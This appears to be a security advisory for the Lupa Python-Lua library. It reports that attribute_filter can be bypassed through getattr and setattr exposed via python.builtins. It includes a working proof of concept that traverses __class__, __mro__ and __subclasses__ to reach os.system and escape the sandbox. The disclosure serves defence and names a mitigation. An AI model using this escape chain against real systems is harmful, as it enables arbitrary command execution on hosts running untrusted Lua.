Summary

The attribute_filter in the Lupa library is intended to restrict access to sensitive Python attributes when exposing objects to Lua.

However, the filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.

Details

The attribute_filter is meant to block access to attributes such as __class__, __mro__, and similar internal properties.

In practice, it only applies to direct attribute access:

• obj.attr → filtered
• getattr(obj, "attr") → not filtered
  Because of this inconsistency, it’s possible to bypass the filter entirely, if access to the Python builtins is granted to Lua code.

An attacker can use getattr to-

• Access __class__
• Walk the __mro__ chain
• Call __subclasses__()
• Iterate over available classes
• Find a function that exposes __globals__
• Retrieve something like os.system

At that point, arbitrary command execution becomes straightforward.

This effectively breaks the security boundary that attribute_filter is expected to enforce.

PoC

The following example shows how the filter can be bypassed to execute os.system:'

import lupa
from lupa import LuaRuntime

def protected_attribute_filter(obj, attr_name, is_setting):
    if isinstance(attr_name, str) and attr_name.startswith('_'):
        raise AttributeError(f"Access to '{attr_name}' is forbidden")
    return attr_name

lua = LuaRuntime(unpack_returned_tuples=True, attribute_filter=protected_attribute_filter)

class UserProfile:
    def __init__(self, name): self.name = name

lua.globals().user = UserProfile("test")

lua.execute("""
local py = python.builtins
local getattr = py.getattr
local setattr = py.setattr

local cls = getattr(user, "__class__")
local _, obj_cls = getattr(cls, "__mro__")

local subs = getattr(obj_cls, "__subclasses__")()
for _, c in ipairs(subs) do
    if tostring(c):find("os._wrap_close") then
        local system = getattr(getattr(c, "__init__"), "__globals__")["system"]
        setattr(user, "run", system)
        user.run("id")
    end
end
""")

Impact

An attacker who can execute Lua code can:

• Bypass the attribute_filter
• Access Python internals
• Traverse the object graph
• Reach execution primitives

This leads to full sandbox escape and arbitrary command execution in the host Python process.
Any application relying on attribute_filter as a security control for untrusted Lua code execution is affected, if it does not also disallow access to the Python builtins via the register_builtins=False option.